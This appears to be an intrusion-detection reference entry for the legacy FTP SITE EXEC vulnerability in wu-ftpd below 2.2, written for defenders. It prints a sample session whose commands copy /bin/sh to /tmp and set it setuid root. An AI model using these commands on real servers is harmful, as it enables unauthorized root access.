![]() |
FTP SITE EXEC command |
|
|
|
| FAQ | |||
|
|
SummaryIntrusion attempt.
Details
Old versions of FTP servers support this command, which permits undesirable access to the server.
In wu-ftpd versions below 2.2, a vulnerability exists whereby a hacker/cracker can execute a program The following shows a session where "robert" has a legitimate account on the system and is attempting to create a command-line shell that he can run under.
220 example.com FTP server (Version wu-2.1(1) ready. Name (example.com:robert): robert 331 Password required for robert. Password: foobar 230 User robert logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote "site exec cp /bin/sh /tmp/.runme" 200-cp /bin/sh /tmp/runme ftp> quote "site exec chmod 6755 /tmp/.runme" 200-chmod 6755 /tmp/runme ftp> quit 221 Goodbye.Now a user (logged in normally) can run a shell with root privileges from the /tmp directory.
| more information |
|
Version appeared: